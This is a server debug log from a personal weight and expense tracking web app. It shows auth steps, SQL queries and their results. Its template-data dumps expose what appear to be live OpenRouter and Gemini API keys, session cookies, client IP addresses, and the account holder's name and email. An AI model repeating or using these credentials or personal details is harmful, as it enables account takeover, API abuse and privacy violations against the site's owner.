2025-12-20T03:30:30.416Z server-connect:app Executing action step restrict
2025-12-20T03:30:30.416Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:30.416Z server-connect:output restrict: undefined
2025-12-20T03:30:30.416Z server-connect:app Executing action step custom
2025-12-20T03:30:30.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-20T03:30:30.418Z server-connect:output list: [
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-20T03:30:42.132Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-20T03:30:42.133Z server-connect:app Executing action step identify
2025-12-20T03:30:42.133Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:42.133Z server-connect:output identity: 1
2025-12-20T03:30:42.133Z server-connect:app Executing action step restrict
2025-12-20T03:30:42.133Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:42.133Z server-connect:output restrict: undefined
2025-12-20T03:30:42.133Z server-connect:app Executing action step insert
2025-12-20T03:30:42.133Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-20T03:30:42.134Z server-connect:output weight_log: { affected: 1, identity: 16 }
2025-12-20T03:30:42.388Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-20T03:30:42.388Z server-connect:app Executing action step identify
2025-12-20T03:30:42.388Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:42.388Z server-connect:output identity: 1
2025-12-20T03:30:42.388Z server-connect:app Executing action step restrict
2025-12-20T03:30:42.388Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:42.389Z server-connect:output restrict: undefined
2025-12-20T03:30:42.389Z server-connect:app Executing action step custom
2025-12-20T03:30:42.389Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-20T03:30:42.389Z server-connect:output list: [
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-20T03:30:42.400Z server-connect:router Serving templateView /weight-trackor
2025-12-20T03:30:42.400Z server-connect:app Executing action step identify
2025-12-20T03:30:42.400Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:42.400Z server-connect:output identity: 1
2025-12-20T03:30:42.400Z server-connect:app Executing action step restrict
2025-12-20T03:30:42.400Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:42.401Z server-connect:output restrict: undefined
2025-12-20T03:30:42.401Z server-connect:router Render template layouts/main
2025-12-20T03:30:42.401Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10809-XOLB9oTs5+0JJdtevIVqSMmdPLg"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10809-XOLB9oTs5+0JJdtevIVqSMmdPLg"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-20T03:30:43.440Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T03:30:43.442Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T03:30:43.443Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-20T03:30:43.443Z server-connect:app Executing action step identify
2025-12-20T03:30:43.443Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:43.443Z server-connect:output identity: 1
2025-12-20T03:30:43.443Z server-connect:app Executing action step restrict
2025-12-20T03:30:43.443Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:43.444Z server-connect:app Executing action step identify
2025-12-20T03:30:43.444Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:43.444Z server-connect:output identity: 1
2025-12-20T03:30:43.444Z server-connect:app Executing action step restrict
2025-12-20T03:30:43.444Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:43.444Z server-connect:app Executing action step identify
2025-12-20T03:30:43.444Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:43.444Z server-connect:output identity: 1
2025-12-20T03:30:43.444Z server-connect:app Executing action step restrict
2025-12-20T03:30:43.444Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:43.446Z server-connect:output restrict: undefined
2025-12-20T03:30:43.446Z server-connect:app Executing action step select
2025-12-20T03:30:43.446Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T03:30:43.447Z server-connect:output restrict: undefined
2025-12-20T03:30:43.447Z server-connect:app Executing action step single
2025-12-20T03:30:43.447Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T03:30:43.448Z server-connect:output restrict: undefined
2025-12-20T03:30:43.448Z server-connect:app Executing action step custom
2025-12-20T03:30:43.448Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-20T03:30:43.448Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T03:30:43.450Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T03:30:43.451Z server-connect:output list: [
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-20T04:08:53.065Z server-connect:router Serving templateView /
2025-12-20T04:08:53.066Z server-connect:app Executing action step identify
2025-12-20T04:08:53.066Z server-connect:app options: { provider: 'security' }
2025-12-20T04:08:53.067Z server-connect:output identity: 1
2025-12-20T04:08:53.067Z server-connect:app Executing action step restrict
2025-12-20T04:08:53.067Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:08:53.069Z server-connect:output restrict: undefined
2025-12-20T04:08:53.069Z server-connect:app Executing action step restrict
2025-12-20T04:08:53.069Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:08:53.069Z server-connect:output restrict: undefined
2025-12-20T04:08:53.069Z server-connect:router Render template layouts/main
2025-12-20T04:08:53.069Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.248.157',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.157',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.157',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T04:08:53.803Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T04:08:53.805Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T04:08:53.805Z server-connect:app Executing action step identify
2025-12-20T04:08:53.805Z server-connect:app options: { provider: 'security' }
